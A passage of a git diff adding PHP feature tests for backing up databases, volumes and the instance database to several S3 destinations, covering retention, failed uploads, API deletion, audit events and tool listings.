+} + +/** + * Runs a backup with two S3 destinations, failing the upload to the storages named in $failingStorages. + * + * @return array{0: ScheduledDatabaseBackupExecution, 1: Collection} + */ +function runMultiS3BackupJob(array $failingStorages): array +{ + $team = Team::factory()->create(); + $server = Server::factory()->create([ + 'team_id' => $team->id, + 'private_key_id' => PrivateKey::factory()->create(['team_id' => $team->id])->id, + ]); + $server->settings()->update(['is_reachable' => true, 'is_usable' => true]); + $destination = StandaloneDocker::where('server_id', $server->id)->firstOrFail(); + $environment = Environment::factory()->create(['project_id' => Project::factory()->create(['team_id' => $team->id])->id]); + $database = create_standalone_postgresql($environment->id, $destination, ['status' => 'running:healthy']); + $first = multiS3Storage($team, 'First'); + $second = multiS3Storage($team, 'Second'); + $backup = new ScheduledDatabaseBackup; + $backup->forceFill([ + 'enabled' => true, + 'save_s3' => true, + 'disable_local_backup' => true, + 's3_storage_id' => $first->id, + 'frequency' => 'daily', + 'databases_to_backup' => 'app', + 'database_id' => $database->id, + 'database_type' => $database->getMorphClass(), + 'team_id' => $team->id, + ])->save(); + $backup->syncS3Storages([$first->id, $second->id]); + $commands = collect(); + Process::fake(function ($process) use ($commands) { + $command = is_array($process->command) ? implode(' ', $process->command) : $process->command; + $commands->push($command); + + return Process::result(output: str_contains($command, 'du -b') ? '128' : ''); + }); + + $job = Mockery::mock(DatabaseBackupJob::class.'[upload_to_s3]', [$backup->fresh()])->shouldAllowMockingProtectedMethods(); + $job->shouldReceive('upload_to_s3')->andReturnUsing(function (S3Storage $storage) use ($failingStorages) { + if (in_array($storage->name, $failingStorages, true)) { + throw new RuntimeException('access denied'); + } + }); + $job->handle(); + + return [ScheduledDatabaseBackupExecution::query()->sole(), $commands]; +} + +it('applies S3 retention to each destination separately', function () { + $team = Team::factory()->create(); + $first = multiS3Storage($team, 'First'); + $second = multiS3Storage($team, 'Second'); + $backup = ScheduledDatabaseBackup::create([ + 'frequency' => '0 0 * * *', + 'save_s3' => true, + 'disable_local_backup' => true, + 'database_type' => 'App\Models\StandalonePostgresql', + 'database_id' => 1, + 'team_id' => $team->id, + 'database_backup_retention_amount_s3' => 1, + ]); + $backup->syncS3Storages([$first->id, $second->id]); + $old = multiS3Execution($backup, 'old'); + $new = multiS3Execution($backup, 'new', ['s3_uploaded' => false]); + ScheduledDatabaseBackupExecution::whereKey($old->id)->update(['created_at' => now()->subDay()]); + $old->s3Replicas()->create(['s3_storage_id' => $first->id, 's3_uploaded' => true]); + $old->s3Replicas()->create(['s3_storage_id' => $second->id, 's3_uploaded' => true]); + $new->s3Replicas()->create(['s3_storage_id' => $first->id, 's3_uploaded' => true]); + $new->s3Replicas()->create(['s3_storage_id' => $second->id, 's3_uploaded' => false, 'message' => 'denied']); + $deleted = fakeMultiS3Deletes(); + + removeOldBackups($backup); + + expect($deleted->all())->toBe(['first-bucket' => ['/backup/old.dmp']]) + ->and($old->s3Replicas()->where('s3_storage_id', $first->id)->sole()->s3_storage_deleted)->toBeTrue() + ->and($old->s3Replicas()->where('s3_storage_id', $second->id)->sole()->s3_storage_deleted)->toBeFalse() + ->and($old->fresh()->s3_storage_deleted)->toBeFalse() + ->and($backup->executions()->count())->toBe(2); +}); + +it('deletes the execution record when its last S3 copy expires', function () { + $team = Team::factory()->create(); + $first = multiS3Storage($team, 'First'); + $second = multiS3Storage($team, 'Second'); + $backup = ScheduledDatabaseBackup::create([ + 'frequency' => '0 0 * * *', + 'save_s3' => true, + 'disable_local_backup' => true, + 'database_type' => 'App\Models\StandalonePostgresql', + 'database_id' => 1, + 'team_id' => $team->id, + 'database_backup_retention_amount_s3' => 1, + ]); + $backup->syncS3Storages([$first->id, $second->id]); + $old = multiS3Execution($backup, 'old'); + $new = multiS3Execution($backup, 'new'); + ScheduledDatabaseBackupExecution::whereKey($old->id)->update(['created_at' => now()->subDay()]); + foreach ([$old, $new] as $execution) { + $execution->s3Replicas()->create(['s3_storage_id' => $first->id, 's3_uploaded' => true]); + $execution->s3Replicas()->create(['s3_storage_id' => $second->id, 's3_uploaded' => true]); + } + $deleted = fakeMultiS3Deletes(); + + removeOldBackups($backup); + + expect($deleted->all())->toBe(['first-bucket' => ['/backup/old.dmp'], 'second-bucket' => ['/backup/old.dmp']]) + ->and($old->fresh())->toBeNull() + ->and(DatabaseBackupS3Replica::where('execution_id', $old->id)->exists())->toBeFalse() + ->and($new->fresh())->not->toBeNull(); +}); + +it('marks copies in a deleted storage as gone without calling S3', function () { + $team = Team::factory()->create(); + $backup = ScheduledDatabaseBackup::create([ + 'frequency' => '0 0 * * *', + 'save_s3' => true, + 'disable_local_backup' => true, + 'database_type' => 'App\Models\StandalonePostgresql', + 'database_id' => 1, + 'team_id' => $team->id, + ]); + $execution = multiS3Execution($backup, 'orphaned'); + $execution->s3Replicas()->create(['s3_storage_id' => null, 's3_uploaded' => true]); + Storage::shouldReceive('build')->never(); + + removeOldBackups($backup); + + expect($execution->fresh())->toBeNull(); +}); + +it('keeps an execution whose local file still exists after its S3 copies expire', function () { + $team = Team::factory()->create(); + $storage = multiS3Storage($team, 'First'); + $backup = ScheduledDatabaseBackup::create([ + 'frequency' => '0 0 * * *', + 'save_s3' => true, + 'database_type' => 'App\Models\StandalonePostgresql', + 'database_id' => 1, + 'team_id' => $team->id, + ]); + $execution = multiS3Execution($backup, 'local-copy', ['local_storage_deleted' => false]); + $execution->s3Replicas()->create(['s3_storage_id' => $storage->id, 's3_uploaded' => true, 's3_storage_deleted' => true]); + + removeOldBackups($backup); + + expect($execution->fresh())->not->toBeNull(); +}); + +it('deletes the S3 copies of an execution from every destination that has one', function () { + $team = Team::factory()->create(); + $first = multiS3Storage($team, 'First'); + $second = multiS3Storage($team, 'Second'); + $failed = multiS3Storage($team, 'Failed'); + $backup = ScheduledDatabaseBackup::create([ + 'frequency' => '0 0 * * *', + 'save_s3' => true, + 'database_type' => 'App\Models\StandalonePostgresql', + 'database_id' => 1, + 'team_id' => $team->id, + ]); + $execution = multiS3Execution($backup, 'manual', ['s3_uploaded' => false]); + $execution->s3Replicas()->create(['s3_storage_id' => $first->id, 's3_uploaded' => true]); + $execution->s3Replicas()->create(['s3_storage_id' => $second->id, 's3_uploaded' => true]); + $execution->s3Replicas()->create(['s3_storage_id' => $failed->id, 's3_uploaded' => false]); + $deleted = fakeMultiS3Deletes(); + + $execution->deleteS3Copies(); + + expect($deleted->keys()->sort()->values()->all())->toBe(['first-bucket', 'second-bucket']) + ->and($execution->fresh()->s3_storage_deleted)->toBeTrue() + ->and($execution->hasLiveS3Copies())->toBeFalse(); +}); + +describe('backup job', function () { + beforeEach(function () { + Storage::fake('ssh-keys'); + Storage::fake('ssh-mux'); + Event::fake([BackupCreated::class]); + Notification::fake(); + InstanceSettings::unguarded(fn () => InstanceSettings::firstOrCreate(['id' => 0])); + }); + + it('uploads to every destination and deletes the local file when all uploads succeed', function () { + [$execution, $commands] = runMultiS3BackupJob([]); + + expect($execution->status)->toBe('success') + ->and($execution->s3_uploaded)->toBeTrue() + ->and($execution->local_storage_deleted)->toBeTrue() + ->and($execution->s3Replicas()->pluck('s3_uploaded')->all())->toBe([true, true]) + ->and($commands->contains(fn (string $command) => str_contains($command, 'rm -f') && str_contains($command, $execution->filename)))->toBeTrue(); + }); + + it('continues to later destinations and keeps the local file when a replica write fails', function (array $failingStorages) { + $event = 'eloquent.creating: '.DatabaseBackupS3Replica::class; + Event::listen($event, function (DatabaseBackupS3Replica $replica): void { + if (S3Storage::find($replica->s3_storage_id)?->name === 'First') { + throw new RuntimeException('replica persistence failed'); + } + }); + + try { + [$execution, $commands] = runMultiS3BackupJob($failingStorages); + } finally { + Event::forget($event); + } + + $replica = $execution->s3Replicas()->with('s3')->sole(); + expect($replica->s3->name)->toBe('Second') + ->and($replica->s3_uploaded)->toBeTrue() + ->and($execution->s3_storage_deleted)->toBeFalse() + ->and($execution->s3_uploaded)->toBeFalse() + ->and($execution->local_storage_deleted)->toBeFalse() + ->and($execution->message)->toContain('First: replica persistence failed') + ->and($commands->contains(fn (string $command) => str_contains($command, 'rm -f') && str_contains($command, $execution->filename)))->toBeFalse(); + + if ($failingStorages !== []) { + expect($execution->message)->toContain('First: access denied'); + } + })->with([ + 'successful upload' => [[]], + 'failed upload' => [['First']], + ]); + + it('keeps the local file and names the failed destination when one upload fails', function () { + [$execution, $commands] = runMultiS3BackupJob(['Second']); + + $replicas = $execution->s3Replicas()->with('s3')->get()->keyBy(fn ($replica) => $replica->s3->name); + expect($execution->status)->toBe('success') + ->and($execution->s3_uploaded)->toBeFalse() + ->and($execution->local_storage_deleted)->toBeFalse() + ->and($execution->message)->toContain('Second: access denied') + ->and($replicas['First']->s3_uploaded)->toBeTrue() + ->and($replicas['Second']->s3_uploaded)->toBeFalse() + ->and($replicas['Second']->message)->toBe('access denied') + ->and($commands->contains(fn (string $command) => str_contains($command, 'rm -f') && str_contains($command, $execution->filename)))->toBeFalse(); + }); +}); + +it('deletes an execution from every S3 destination through the API', function () { + InstanceSettings::unguarded(fn () => InstanceSettings::firstOrCreate(['id' => 0])); + $sshKeys = Storage::fake('ssh-keys'); + $sshMux = Storage::fake('ssh-mux'); + Process::fake(); + $team = Team::factory()->create(); + $user = User::factory()->create(); + $team->members()->attach($user, ['role' => 'owner']); + session(['currentTeam' => $team]); + $token = $user->createToken('test-token', ['*'])->plainTextToken; + $server = Server::factory()->create([ + 'team_id' => $team->id, + 'private_key_id' => PrivateKey::factory()->create(['team_id' => $team->id])->id, + ]); + $server->settings()->update(['is_reachable' => true, 'is_usable' => true]); + $destination = StandaloneDocker::where('server_id', $server->id)->firstOrFail(); + $environment = Environment::factory()->create(['project_id' => Project::factory()->create(['team_id' => $team->id])->id]); + $database = create_standalone_postgresql($environment->id, $destination); + $first = multiS3Storage($team, 'First'); + $second = multiS3Storage($team, 'Second'); + $backup = ScheduledDatabaseBackup::create([ + 'frequency' => '0 0 * * *', + 'save_s3' => true, + 'database_type' => $database->getMorphClass(), + 'database_id' => $database->id, + 'team_id' => $team->id, + ]); + $backup->syncS3Storages([$first->id, $second->id]); + $execution = multiS3Execution($backup, 'api', ['local_storage_deleted' => false]); + $execution->s3Replicas()->create(['s3_storage_id' => $first->id, 's3_uploaded' => true]); + $execution->s3Replicas()->create(['s3_storage_id' => $second->id, 's3_uploaded' => true]); + $deleted = fakeMultiS3Deletes(); + Storage::shouldReceive('disk')->with('ssh-keys')->andReturn($sshKeys); + Storage::shouldReceive('disk')->with('ssh-mux')->andReturn($sshMux); + + $this->withHeaders(['Authorization' => 'Bearer '.$token]) + ->deleteJson("/api/v1/databases/{$database->uuid}/backups/{$backup->uuid}/executions/{$execution->uuid}?delete_s3=true") + ->assertOk(); + + expect($deleted->all())->toBe(['first-bucket' => ['/backup/api.dmp'], 'second-bucket' => ['/backup/api.dmp']]) + ->and($execution->fresh())->toBeNull(); +}); + +it('copies the destinations of the same team to a cloned schedule', function () { + $team = Team::factory()->create(); + $otherTeam = Team::factory()->create(); + $first = multiS3Storage($team, 'First'); + $second = multiS3Storage($team, 'Second'); + $foreign = multiS3Storage($otherTeam, 'Foreign'); + $attributes = [ + 'frequency' => '0 0 * * *', + 'save_s3' => true, + 'database_type' => 'App\Models\StandalonePostgresql', + 'database_id' => 1, + 'team_id' => $team->id, + ]; + $backup = ScheduledDatabaseBackup::create($attributes); + $backup->syncS3Storages([$first->id, $second->id]); + $backup->s3Storages()->attach($foreign->id); + $copy = ScheduledDatabaseBackup::create($attributes); + + $backup->copyS3StoragesTo($copy); + + expect($copy->s3Storages()->pluck('s3_storages.id')->sort()->values()->all())->toBe([$first->id, $second->id]); +}); + +it('requires a live S3 copy for local retention only when local backups are disabled', function (bool $disabled, ?array $replica, bool $deleted) { + $team = Team::factory()->create(); + $server = Server::factory()->create([ + 'team_id' => $team->id, + 'private_key_id' => PrivateKey::factory()->create(['team_id' => $team->id])->id, + ]); + $server->settings()->update(['is_reachable' => true, 'is_usable' => true]); + $destination = StandaloneDocker::where('server_id', $server->id)->firstOrFail(); + $environment = Environment::factory()->create(['project_id' => Project::factory()->create(['team_id' => $team->id])->id]); + $database = create_standalone_postgresql($environment->id, $destination); + $backup = ScheduledDatabaseBackup::create([ + 'frequency' => '0 0 * * *', + 'save_s3' => true, + 'disable_local_backup' => $disabled, + 'database_backup_retention_amount_locally' => 1, + 'database_type' => $database->getMorphClass(), + 'database_id' => $database->id, + 'team_id' => $team->id, + ]); + $older = multiS3Execution($backup, 'older', ['local_storage_deleted' => false, 'created_at' => now()->subDay()]); + $newer = multiS3Execution($backup, 'newer', ['local_storage_deleted' => false]); + if ($replica !== null) { + $storage = multiS3Storage($team, 'Retention'); + foreach ([$older, $newer] as $execution) { + $execution->s3Replicas()->create(['s3_storage_id' => $storage->id, ...$replica]); + } + } + $commands = collect(); + Process::fake(function ($process) use ($commands) { + $commands->push(is_array($process->command) ? implode(' ', $process->command) : $process->command); + + return Process::result(); + }); + + removeOldBackups($backup); + + expect($commands->contains(fn (string $command): bool => str_contains($command, '/backup/older.dmp')))->toBe($deleted); + if ($deleted && $replica === null) { + $this->assertModelMissing($older); + } else { + expect($older->fresh()->local_storage_deleted)->toBe($deleted); + } + expect($newer->fresh()->local_storage_deleted)->toBeFalse(); +})->with([ + 'no replica' => [true, null, false], + 'failed upload' => [true, ['s3_uploaded' => false], false], + 'deleted replica' => [true, ['s3_uploaded' => true, 's3_storage_deleted' => true], false], + 'live replica' => [true, ['s3_uploaded' => true, 's3_storage_deleted' => false], true], + 'normal local retention' => [false, null, true], +]); diff --git a/tests/Feature/DevelopmentQemuVmTest.php b/tests/Feature/DevelopmentQemuVmTest.php index ad6d1d76d0..864536cfa7 100644 --- a/tests/Feature/DevelopmentQemuVmTest.php +++ b/tests/Feature/DevelopmentQemuVmTest.php @@ -173,16 +173,41 @@ it('can change the localhost qemu profile without adding a server', function () it('seeds localhost through the container command', function () { $this->seed(ServerSeeder::class); + Process::fake(); expect(Artisan::call('dev:qemu:seed', [ 'profile' => 'ubuntu-root', '--as-localhost' => true, ]))->toBe(Command::SUCCESS) ->and(Server::query()->findOrFail(0)->ip)->toBe('192.168.122.10'); + + Process::assertRan(fn ($process) => str_contains($process->command, 'docker run -d --name coolify-db') + && str_contains($process->command, 'POSTGRES_DB=')); +}); + +it('starts the instance database container with sudo on a non-root localhost vm', function () { + $this->seed(ServerSeeder::class); + Process::fake(); + + Artisan::call('dev:qemu:seed', ['profile' => 'ubuntu-non-root', '--as-localhost' => true]); + + Process::assertRan(fn ($process) => str_contains($process->command, 'if ! sudo docker inspect coolify-db') + && str_contains($process->command, 'sudo docker run -d --name coolify-db') + && str_contains($process->command, 'sudo docker start coolify-db')); +}); + +it('still seeds localhost when the instance database container cannot start', function () { + $this->seed(ServerSeeder::class); + Process::fake(fn () => Process::result(errorOutput: 'Cannot connect to the Docker daemon', exitCode: 1)); + + expect(Artisan::call('dev:qemu:seed', ['profile' => 'ubuntu-root', '--as-localhost' => true]))->toBe(Command::SUCCESS) + ->and(Artisan::output())->toContain('Could not start the coolify-db container') + ->and(Server::query()->findOrFail(0)->ip)->toBe('192.168.122.10'); }); it('seeds localhost with the forwarded ssh address of a lima vm', function () { $this->seed(ServerSeeder::class); + Process::fake(); expect(Artisan::call('dev:qemu:seed', [ 'profile' => 'debian-non-root', diff --git a/tests/Feature/InstanceBackupMultipleS3DestinationsTest.php b/tests/Feature/InstanceBackupMultipleS3DestinationsTest.php new file mode 100644 index 0000000000..2cbac04a38 --- /dev/null +++ b/tests/Feature/InstanceBackupMultipleS3DestinationsTest.php @@ -0,0 +1,137 @@ + $name, + 'region' => 'us-east-1', + 'key' => 'key', + 'secret' => 'secret', + 'bucket' => str($name)->slug()->toString(), + 'endpoint' => 'https://s3.example.com', + 'is_usable' => true, + 'team_id' => $team->id, + ]); +} + +beforeEach(function () { + Server::flushIdentityMap(); + $this->rootTeam = Team::find(0) ?? Team::factory()->create(['id' => 0]); + $server = Server::factory()->create([ + 'id' => 0, + 'team_id' => 0, + 'ip' => '127.0.0.1', + 'private_key_id' => PrivateKey::factory()->create(['team_id' => 0])->id, + ]); + $server->settings()->update(['is_reachable' => true, 'is_usable' => true, 'force_disabled' => false]); + StandaloneDocker::query()->where('server_id', $server->id)->firstOrFail()->forceFill(['id' => 0])->save(); + InstanceSettings::forceCreate(['id' => 0]); + Once::flush(); + + $this->database = new StandalonePostgresql; + $this->database->forceFill([ + 'id' => 0, + 'name' => 'coolify-db', + 'postgres_user' => 'coolify', + 'postgres_password' => 'password', + 'postgres_db' => 'coolify', + 'status' => 'running', + 'destination_type' => StandaloneDocker::class, + 'destination_id' => 0, + ])->save(); + $this->backup = ScheduledDatabaseBackup::create([ + 'enabled' => true, + 'save_s3' => false, + 'frequency' => '0 0 * * *', + 'database_id' => 0, + 'database_type' => StandalonePostgresql::class, + 'team_id' => 0, + ]); + + $this->firstStorage = instanceBackupS3Storage($this->rootTeam, 'First S3'); + $this->secondStorage = instanceBackupS3Storage($this->rootTeam, 'Second S3'); + $this->otherTeam = Team::factory()->create(); + $this->foreignStorage = instanceBackupS3Storage($this->otherTeam, 'Foreign S3'); + + $user = User::factory()->create(); + $this->rootTeam->members()->attach($user->id, ['role' => 'admin']); + $user->teams()->attach($this->otherTeam->id, ['role' => 'owner']); + $this->actingAs($user); + session(['currentTeam' => ['id' => 0]]); +}); + +it('offers every root team S3 storage on the instance backup page', function () { + Livewire::test(SettingsBackup::class) + ->assertOk() + ->assertSee('First S3') + ->assertSee('Second S3') + ->assertDontSee('Foreign S3'); +}); + +it('saves several S3 destinations for the instance backup and drops storages of other teams', function () { + // The session team can change in another tab after the page loads. + session(['currentTeam' => ['id' => $this->otherTeam->id]]); + + Livewire::test(BackupEdit::class, ['backup' => $this->backup->fresh(), 'availableS3Storages' => collect(), 'section' => 's3']) + ->set('saveS3', true) + ->set('s3StorageIds', [$this->firstStorage->id, $this->secondStorage->id, $this->foreignStorage->id]) + ->call('submit') + ->assertHasNoErrors() + ->assertDispatched('success'); + + $backup = $this->backup->fresh(); + + expect($backup->save_s3)->toBeTruthy() + ->and($backup->s3_storage_id)->toBe($this->firstStorage->id) + ->and($backup->s3Storages()->pluck('s3_storages.id')->sort()->values()->all()) + ->toBe([$this->firstStorage->id, $this->secondStorage->id]); +}); + +it('uploads the instance backup to every selected destination', function () { + $this->backup->forceFill(['save_s3' => true, 'databases_to_backup' => 'coolify'])->save(); + $this->backup->syncS3Storages([$this->firstStorage->id, $this->secondStorage->id]); + Process::fake(fn ($process) => Process::result(output: str_contains(implode(' ', (array) $process->command), 'du -b') ? '128' : '')); + + $uploadedTo = collect(); + $job = Mockery::mock(DatabaseBackupJob::class.'[upload_to_s3]', [$this->backup->fresh()])->shouldAllowMockingProtectedMethods(); + $job->shouldReceive('upload_to_s3')->andReturnUsing(fn (S3Storage $storage) => $uploadedTo->push($storage->id)); + $job->handle(); + + $execution = ScheduledDatabaseBackupExecution::query()->sole(); + + expect($uploadedTo->sort()->values()->all())->toBe([$this->firstStorage->id, $this->secondStorage->id]) + ->and($execution->status)->toBe('success') + ->and($execution->s3_uploaded)->toBeTrue() + ->and($execution->s3Replicas()->where('s3_uploaded', true)->pluck('s3_storage_id')->sort()->values()->all()) + ->toBe([$this->firstStorage->id, $this->secondStorage->id]); +}); + +it('links the instance backup from the storage resources page', function () { + $this->backup->forceFill(['save_s3' => true])->save(); + $this->backup->syncS3Storages([$this->firstStorage->id, $this->secondStorage->id]); + + Livewire::test(StorageResources::class, ['storage' => $this->secondStorage]) + ->assertSee('coolify-db') + ->assertSeeHtml(route('settings.backup')); +}); diff --git a/tests/Feature/Jobs/DatabaseBackupJobTest.php b/tests/Feature/Jobs/DatabaseBackupJobTest.php index a19958608f..d0ba825511 100644 --- a/tests/Feature/Jobs/DatabaseBackupJobTest.php +++ b/tests/Feature/Jobs/DatabaseBackupJobTest.php @@ -52,7 +52,7 @@ test('scheduled database backup casts full dump selection to boolean', function ->and((new ScheduledDatabaseBackup(['dump_all' => '1']))->dump_all)->toBeTrue(); }); -test('upload_to_s3 throws exception and disables s3 when storage is null', function () { +test('s3 upload throws exception and disables s3 when no destination exists', function () { $backup = ScheduledDatabaseBackup::create([ 'frequency' => '0 0 * * *', 'save_s3' => true, @@ -64,11 +64,7 @@ test('upload_to_s3 throws exception and disables s3 when storage is null', funct $job = new DatabaseBackupJob($backup); - $reflection = new ReflectionClass($job); - $s3Property = $reflection->getProperty('s3'); - $s3Property->setValue($job, null); - - $method = $reflection->getMethod('upload_to_s3'); + $method = (new ReflectionClass($job))->getMethod('uploadToS3Destinations'); expect(fn () => $method->invoke($job)) ->toThrow(Exception::class, 'S3 storage configuration is missing or has been deleted'); @@ -78,7 +74,7 @@ test('upload_to_s3 throws exception and disables s3 when storage is null', funct expect($backup->s3_storage_id)->toBeNull(); }); -test('upload_to_s3 exception message reports the previous s3 storage id', function () { +test('s3 upload exception message reports the previous s3 storage id', function () { $backup = ScheduledDatabaseBackup::create([ 'frequency' => '0 0 * * *', 'save_s3' => true, @@ -90,10 +86,7 @@ test('upload_to_s3 exception message reports the previous s3 storage id', functi $job = new DatabaseBackupJob($backup); - $reflection = new ReflectionClass($job); - $reflection->getProperty('s3')->setValue($job, null); - - expect(fn () => $reflection->getMethod('upload_to_s3')->invoke($job)) + expect(fn () => (new ReflectionClass($job))->getMethod('uploadToS3Destinations')->invoke($job)) ->toThrow(Exception::class, 'S3 storage ID: 12345'); $backup->refresh(); @@ -101,7 +94,7 @@ test('upload_to_s3 exception message reports the previous s3 storage id', functi expect($backup->s3_storage_id)->toBeNull(); }); -test('upload_to_s3 exception message reports null when no previous s3 storage id exists', function () { +test('s3 upload exception message reports null when no previous s3 storage id exists', function () { $backup = ScheduledDatabaseBackup::create([ 'frequency' => '0 0 * * *', 'save_s3' => true, @@ -113,10 +106,7 @@ test('upload_to_s3 exception message reports null when no previous s3 storage id $job = new DatabaseBackupJob($backup); - $reflection = new ReflectionClass($job); - $reflection->getProperty('s3')->setValue($job, null); - - expect(fn () => $reflection->getMethod('upload_to_s3')->invoke($job)) + expect(fn () => (new ReflectionClass($job))->getMethod('uploadToS3Destinations')->invoke($job)) ->toThrow(Exception::class, 'S3 storage ID: null'); }); @@ -281,7 +271,7 @@ test('retention cleanup failure does not fail a successful database backup', fun 'local_storage_deleted' => true, 'created_at' => now()->subDay(), ]); - ScheduledDatabaseBackupExecution::create([ + $newExecution = ScheduledDatabaseBackupExecution::create([ 'uuid' => 'new-backup', 'database_name' => 'database', 'filename' => '/backup/new.dmp', @@ -290,6 +280,8 @@ test('retention cleanup failure does not fail a successful database backup', fun 's3_uploaded' => true, 'local_storage_deleted' => true, ]); + $oldExecution->s3Replicas()->create(['s3_storage_id' => $s3->id, 's3_uploaded' => true]); + $newExecution->s3Replicas()->create(['s3_storage_id' => $s3->id, 's3_uploaded' => true]); $disk = Mockery::mock(); $disk->shouldReceive('delete')->once()->with(['/backup/old.dmp'])->andReturnFalse(); Storage::shouldReceive('build')->once()->andReturn($disk); diff --git a/tests/Feature/Mcp/McpReadToolsTest.php b/tests/Feature/Mcp/McpReadToolsTest.php index 21df936c94..f45757b8d1 100644 --- a/tests/Feature/Mcp/McpReadToolsTest.php +++ b/tests/Feature/Mcp/McpReadToolsTest.php @@ -10,6 +10,7 @@ use App\Models\EnvironmentVariable; use App\Models\GithubApp; use App\Models\InstanceSettings; use App\Models\Project; +use App\Models\S3Storage; use App\Models\ScheduledDatabaseBackup; use App\Models\ScheduledDatabaseBackupExecution; use App\Models\ScheduledTask; @@ -217,6 +218,36 @@ test('database backup tools scope schedules by database type and id', function ( expect($response->json('result.isError'))->toBeTrue(); }); +test('list_database_backups returns every S3 destination primary first', function () { + $postgres = StandalonePostgresql::create([ + 'name' => 'multi-s3-db', + 'postgres_password' => 'password', + 'environment_id' => $this->environment->id, + 'destination_id' => $this->destination->id, + 'destination_type' => $this->destination->getMorphClass(), + ]); + [$first, $second] = collect(['first', 'second'])->map(fn (string $name) => S3Storage::create([ + 'name' => $name, 'region' => 'us-east-1', 'key' => 'key', 'secret' => 'secret', + 'bucket' => $name, 'endpoint' => 'https://s3.example.com', 'team_id' => $this->team->id, + ]))->all(); + $backup = ScheduledDatabaseBackup::create([ + 'team_id' => $this->team->id, + 'frequency' => '0 0 * * *', + 'save_s3' => true, + 's3_storage_id' => $second->id, + 'database_id' => $postgres->id, + 'database_type' => $postgres->getMorphClass(), + ]); + $backup->syncS3Storages([$first->id, $second->id]); + + $response = mcpReadCall('list_database_backups', ['uuid' => $postgres->uuid]); + $response->assertOk(); + + $listed = mcpReadJson($response)['data']['backups'][0]; + expect($listed['s3_storage_uuid'])->toBe($second->uuid) + ->and($listed['s3_storage_uuids'])->toBe([$second->uuid, $first->uuid]); +}); + test('list_backup_executions omits messages without sensitive read and redacts when included', function () { $postgres = StandalonePostgresql::create([ 'name' => 'backup-msg-db', diff --git a/tests/Feature/MutableLivewireComponentsAuthorizationTest.php b/tests/Feature/MutableLivewireComponentsAuthorizationTest.php index 5563e87769..47b215d5f0 100644 --- a/tests/Feature/MutableLivewireComponentsAuthorizationTest.php +++ b/tests/Feature/MutableLivewireComponentsAuthorizationTest.php @@ -182,7 +182,7 @@ it('authorizes every volume backup form control', function (string $path, array [ '/]*wire:click="toggleS3")(?=[^>]*canGate="update")(?=[^>]*:canResource="\$resource")[^>]*>\s*Enable S3\s*<\/x-forms\.button>/s', '/]*wire:click="toggleS3")(?=[^>]*canGate="update")(?=[^>]*:canResource="\$resource")[^>]*>\s*Disable S3\s*<\/x-forms\.button>/s', - '/fresh()->s3_storage_id)->toBe($ownS3->id) ->and($backup->fresh()->save_s3)->toBeTruthy(); - $component->set('s3StorageId', $foreignS3->id)->call('instantSave'); + $component->set('s3StorageIds', [$foreignS3->id])->call('instantSave'); expect($backup->fresh()->s3_storage_id)->toBe($ownS3->id); }); diff --git a/tests/Feature/ScheduleAuditTest.php b/tests/Feature/ScheduleAuditTest.php index 281fdd42b4..6c700eae69 100644 --- a/tests/Feature/ScheduleAuditTest.php +++ b/tests/Feature/ScheduleAuditTest.php @@ -300,12 +300,12 @@ test('disabling or moving S3 storage for backups records audit events', function $volumeEvent = scheduleAuditEvent('ui.volume_backup.schedule_set'); expect($databaseEvent->resource_uuid)->toBe($database->uuid) - ->and($databaseEvent->metadata['changed_fields'])->toEqualCanonicalizing(['save_s3', 's3_storage_id']) + ->and($databaseEvent->metadata['changed_fields'])->toEqualCanonicalizing(['save_s3', 's3_storage_id', 's3_storages']) ->and($volumeEvent->metadata['resource_type'])->toBe('application') ->and($volumeEvent->metadata['resource_uuid'])->toBe($this->application->uuid) ->and($volumeEvent->metadata['storage_uuid'])->toBe($volume->uuid) ->and($volumeEvent->metadata['backup_uuid'])->toBe($volumeBackup->uuid) - ->and($volumeEvent->metadata['changed_fields'])->toBe(['s3_storage_id']); + ->and($volumeEvent->metadata['changed_fields'])->toEqualCanonicalizing(['s3_storage_id', 's3_storages']); }); test('configuring the instance database backup records an audit event', function () { diff --git a/tests/Feature/VolumeBackupMultipleS3DestinationsTest.php b/tests/Feature/VolumeBackupMultipleS3DestinationsTest.php new file mode 100644 index 0000000000..3eadab443a --- /dev/null +++ b/tests/Feature/VolumeBackupMultipleS3DestinationsTest.php @@ -0,0 +1,386 @@ + 'null']); + defined('CURLOPT_RESOLVE') || define('CURLOPT_RESOLVE', 10203); +}); + +/** + * @return array{0: ScheduledVolumeBackup, 1: S3Storage, 2: S3Storage, 3: Server} + */ +function createMultiDestinationVolumeBackup(array $backupAttributes = []): array +{ + InstanceSettings::unguarded(fn () => InstanceSettings::firstOrCreate(['id' => 0])); + $team = Team::factory()->create(); + $privateKey = PrivateKey::factory()->create(['team_id' => $team->id]); + $server = Server::factory()->create([ + 'team_id' => $team->id, + 'private_key_id' => $privateKey->id, + 'ip' => '203.0.113.10', + ]); + $destination = StandaloneDocker::where('server_id', $server->id)->firstOrFail(); + $project = Project::factory()->create(['team_id' => $team->id]); + $environment = Environment::factory()->create(['project_id' => $project->id]); + $application = Application::factory()->create([ + 'environment_id' => $environment->id, + 'destination_id' => $destination->id, + 'destination_type' => $destination->getMorphClass(), + ]); + $volume = LocalPersistentVolume::create([ + 'name' => 'app-data', + 'mount_path' => '/data', + 'resource_id' => $application->id, + 'resource_type' => $application->getMorphClass(), + ]); + $storages = collect(['first', 'second'])->map(fn (string $name): S3Storage => S3Storage::create([ + 'name' => "{$name} storage", + 'region' => 'us-east-1', + 'key' => "{$name}-key", + 'secret' => 'secret', + 'bucket' => "{$name}-bucket", + 'endpoint' => 'https://s3.amazonaws.com', + 'team_id' => $team->id, + 'is_usable' => true, + ])); + $backup = $volume->scheduledBackups()->create([ + 'team_id' => $team->id, + 'frequency' => 'daily', + 'save_s3' => true, + ...$backupAttributes, + ]); + $backup->syncS3Storages($storages->pluck('id')->all()); + + return [$backup->fresh(), $storages[0], $storages[1], $server]; +} + +function fakeMultiDestinationS3Disks(): void +{ + $sshDisk = Storage::fake('ssh-keys'); + $disk = Mockery::mock(FilesystemAdapter::class); + $disk->shouldReceive('files')->zeroOrMoreTimes()->andReturn([]); + $disk->shouldReceive('delete')->zeroOrMoreTimes()->andReturnTrue(); + Storage::shouldReceive('disk')->with('ssh-keys')->andReturn($sshDisk); + Storage::shouldReceive('build')->zeroOrMoreTimes()->andReturn($disk); +} + +it('archives locally and uploads to every destination instead of streaming', function () { + [$backup, $first, $second] = createMultiDestinationVolumeBackup(['disable_local_backup' => true]); + fakeMultiDestinationS3Disks(); + Process::fake([ + '*du -b*' => '128', + '*' => '', + ]); + + (new VolumeBackupJob($backup))->handle(); + + $execution = ScheduledVolumeBackupExecution::query()->sole(); + Process::assertNotRan(fn ($process) => 